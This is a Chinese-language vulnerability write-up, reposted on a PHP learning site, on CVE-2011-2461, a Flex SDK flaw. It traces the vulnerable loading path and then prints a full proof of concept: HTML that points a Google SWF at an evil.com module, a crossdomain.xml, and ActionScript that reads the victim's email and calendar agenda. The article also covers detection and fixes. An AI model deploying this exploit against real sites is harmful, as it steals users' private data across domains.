来源:未知 时间:2015-04-15 13:08 作者:xxadmin 阅读:次
[导读] 0x00 漏洞背景 从CVE编号就可以看出这个漏洞已经有一些年头了 (1)。 由于这个漏洞发生在Flex SDK里,而非Flash Player上。所以对于开发者而言,只要他们使用了具有该缺陷的Flex SDK来编译...
|
0x00 漏洞背景
….
//从flashvars里取出resourceModuleURLs参数,赋值给resourceModuleURLList
var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];
//将resourceModuleURLList按 , 号分割为resourceModuleURLs数组
var resourceModuleURLs:Array = (resourceModuleURLList) ?
….
//从flashvars里取出resourceModuleURLs参数,赋值给resourceModuleURLList
var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];
//将resourceModuleURLList按 , 号分割为resourceModuleURLs数组
var resourceModuleURLs:Array = (resourceModuleURLList) ? resourceModuleURLList.split(",") : null;
//最终resourceModuleURLs进入了preloader的initialize函数
preloader.initialize(usePreloader, preloaderDisplayClass, preloaderBackgroundColor, preloaderBackgroundAlpha, preloaderBackgroundImage, preloaderBackgroundSize, (isStageRoot) ? stage.stageWidth : loaderInfo.width, (isStageRoot) ? stage.stageHeight : loaderInfo.height, null, null, rslList, resourceModuleURLs);
//如果传入的resourceModuleURLs有内容
if (((resourceModuleURLs) && ((resourceModuleURLs.length > 0)))){
n = resourceModuleURLs.length;
i = 0;
//循环对每一个Resource Module进行处理
while (i
//最终模块的URL进入了ResourceModuleRSLItem类
resourceModuleNode = new ResourceModuleRSLItem(resourceModuleURLs[i]);
//每个resourceModuleNode被追加到rslList中
rslList.push(resourceModuleNode);
i++;
};
};
// rslList 被传入RSLListLoader中
rslListLoader = new RSLListLoader(rslList);
…
//随后调用rslListLoader的load方法
rslListLoader.load(mx_internal::rslProgressHandler, mx_internal::rslCompleteHandler, mx_internal::rslErrorHandler, mx_internal::rslErrorHandler, mx_internal::rslErrorHandler);
…
public function RSLListLoader(rslList:Array){
rslList = [];
super();
//rslList被传递给当前类的rslList属性
this.rslList = rslList;
}
接着看看上一步里调用的rslListLoader.load函数
public function load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function, securityErrorHandler:Function, rslErrorHandler:Function):void{
…
//load函数调用loadNext函数
loadNext();
}
继续跟loadNext,
private function loadNext():void{
if (!isDone()){
currentIndex++;
if (currentIndex
rslList[currentIndex].load(chainedProgressHandler, listCompleteHandler, listIOErrorHandler, listSecurityErrorHandler, chainedRSLErrorHandler);
};
};
}
可以看出,实际上就是循环调用rslList里每一个元素(ResourceModuleRSLItem)的load方法。4. mx.core.ResourceModuleRSLItem 那么我们接着看该类的load方法, override public function load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function, securityErrorHandler:Function, rslErrorHandler:Function):
void{
...
//创建一个资源管理器
var resourceManager:IResourceManager = ResourceManager.getInstance();
//调用资源管理器的loadResourceModule
var eventDispatcher:IEventDispatcher = resourceManager.loadResourceModule(url);
...
}
其实转了一大圈,最后可以看到,通过设置flashvars的方式实际上最终也是通过调用resourceManager.loadResourceModule来实现的。 5. mx.resources.ResourceManagerImpl loadResourceModule里继续看到url参数进入到了ModuleManager.getModule中,
public function loadResourceModule(url:String, updateFlag:Boolean=true, applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null):IEventDispatcher{
...
moduleInfo = ModuleManager.getModule(url);
...
//得到moduleInfo后,最终会调用moduleInfo的load方法
moduleInfo.load(applicationDomain, securityDomain);
}
6. mx.modules.ModuleManagerImpl
public function getModule(url:String):IModuleInfo{
var info:ModuleInfo = (moduleList[url] as ModuleInfo);
//如果info不存在,则以url为参数创建一个新的ModuleInfo实例
if (!info){
info = new ModuleInfo(url);
moduleList[url] = info;
};
//最终返回ModuleInfoProxy类的实例
return (new ModuleInfoProxy(info));
}
7. mx.modules.ModuleInfoProxy
public function ModuleInfoProxy(info:ModuleInfo){
super();
//ModuleInfo的实例被存入ModuleInfoProxy的info属性里
this.info = info;
…
}
根据前面可知,将会调用ModuleInfoProxy的load方法
public function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null, bytes:ByteArray=null):void{
...
//实际上最终调用的是info的load方法,即调用ModuleInfo实例的load方法
info.load(applicationDomain, securityDomain, bytes);
...
}
8. mx.modules.ModuleInfo 最终我们就能看到(2)中PPT里提到的代码部分,
public function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null, bytes:ByteArray=null):void{
…
var r:URLRequest = new URLRequest(_url);
//创建一个LoaderContext -> c
var c:LoaderContext = new LoaderContext();
c.applicationDomain = (applicationDomain) ? applicationDomain : new ApplicationDomain(ApplicationDomain.currentDomain);
c.securityDomain = securityDomain;
//设置LoaderContext的securityDomain 到SecurityDomain.currentDomain
if ((((securityDomain == null)) && ((Security.sandboxType == Security.REMOTE)))){
c.securityDomain = SecurityDomain.currentDomain;
};
loader = new Loader();
….
//最终以当前的安全域加载外部模块
loader.load(r, c);
}
以上就是整个代码流程,问题就发生在c.securityDomain = SecurityDomain.currentDomain; 这一句代码上。在Adobe官方手册对于securityDomain的解释上(6),可以看到这样一段描述(非直译): “同域情况下,即当1.com的FLASH A文件加载1.com下的FLASH B文件,B文件与A文件具有相同的安全域;而跨域情况下,即当1.com的FLASH A文件加载2.com下的FLASH B文件时,则会有两种选择:一种是默认情况下加载,此时B文件具有与A文件不同的安全域,换言之,两者是隔离的;另一种方法则是通过特定的函数调用或者特定属性的设置让被加载的B文件具有和A相同的安全域,这种加载方式被称为“导入式加载(import loading)”。 导入式加载通常有两种方法:一种是通过Loader的loadBytes函数。在context为默认值时,loadBytes将会把内容导入到当前的安全域内。其函数形式如下: loadBytes(bytes:ByteArray, context:LoaderContext = null):void 另一种方法则是通过设置LoaderContext的securityDomain,然后再load,典型代码如下: loaderContext.securityDomain = SecurityDomain.currentDomain; loader.load(urlReq,loaderContext); 可以看出,cve-2011-2461 就是采用了第二种方式来进行了导入式加载。最终就会导致如下图所示的问题,可以看到我们在“黑客.com”的Flash B里编写恶意代码,将会被导入式加载“融入”到“目标.com”的Flash A里,从而可以读取“目标.com”下的内容。
0x02 案例分析 存在本文所说的问题,那么我们可以构造出以下代码: i>Victim's agenda:i> textarea id="x" style="width: 100%; height:50%">textarea> object width="100%" height="100%" type="application/x-shockwave-flash" data="https://www.google.com/wonderwheel/wonderwheel7.swf"> param name="allowscriptaccess" value="always"> param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf"> object> 上面这个代码,使得https://www.google.com/wonderwheel/wonderwheel7.swf将会以“导入式加载”的方式将http://evil.com/poc/URLr_google.swf“融入”进来,即URLr_google.swf具有与wonderwheel7.swf相同的安全域。当然要记得在evil.com根目录下放置一个crossdomain.xml允许wonderwheel7.swf来加载它,像这样。 xml version="1.0"?> cross-domain-policy> allow-access-from domain="www.google.com" /> cross-domain-policy> URLr_google.swf的AS代码如下(有点长,其实不是很想粘贴上来了。。),反正大概就是获取一些可以获取的敏感信息(非重点,不多说)。
package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events. * ;
import flash.net. * ;
import flash.external.ExternalInterface;
public class URLr_google extends Sprite {
public static
var app: URLr_google;
private static
var email: String;
public
function main() : void {
app = new URLr_google();
}
public
function URLr_google() {
var url: String = "https://www.google.com/?gws_rd=cr";
var loader: URLLoader = new URLLoader();
configureListeners(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListeners(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}
private
function pingCalendar() : void {
var url: String = "https://www.google.com/calendar/";
var loader: URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListenersCalendar(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}
private
function getAgenda() : void {
var url: String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader: URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListenersAgenda(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}
private
function completeHandler(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);
var s: String = loader.data;
var pattern: RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results: Array = s.match(pattern);
if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}
private
function completeHandlerCalendar(event: Event) : void {
getAgenda();
}
private
function completeHandlerAgenda(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);
var res: String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern: RegExp = /title>[a-z0-9]+\s[a-z0-9]+
var results: Array = unescape(res).match(pattern);
if (results.length > 0) {
var name: String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split(")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}
总之吧,原理如下图所示,个人觉得原博文中图太丑,自己重新画了一个,虽然也不是很好看。。: ![]() 这里我也给出一个具有缺陷的flash文件,以便分析https://appmaker.sinaapp.com/cve-2011-2461.htm。 0x03 漏洞检测 检测该漏洞,实际上可以通过反编译FLASH来查看相关缺陷代码是否存在,原博文的作者给出了检测工具ParrotNG(java编写,基于swfdump)来识别有漏洞的SWF文件,可以在命令行在使用这个工具,也可以通过burp插件的机制来使用这个工具。 ![]() ![]() 0x04 修复与防御 对于这个漏洞,修复与防御措施可能有如下几点: 更新开发工具 对于采用老版本SDK编译产生的swf文件,可以使用新版本的开发工具重新编译一下,或者采用修复工具对swf进行补丁(https://helpx.adobe.com/flash-builder/kb/flex-security-issue-apsb11-25.html)。当然,如果文件已经很古老,直接暴力的删掉就好了。 将swf等存在安全风险的静态资源文件放置到独立的域名下,可最大程度避免此类问题。 开发者在编写相关代码时,应该尽量避免使用“导入式加载”;在使用Loader类时,应该对加载的URL进行合法性判断。 0x05 结语 原文:“There are still many more websites that are hosting vulnerable SWF files out there. Please help us making the Internet a safer place by reporting vulnerable files to the respective website's owners.”, 中文:“说不定还有很多站有这个问题,找到了赶紧报红黑联盟!!” 读者:“欺负我看不懂英文!!” |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com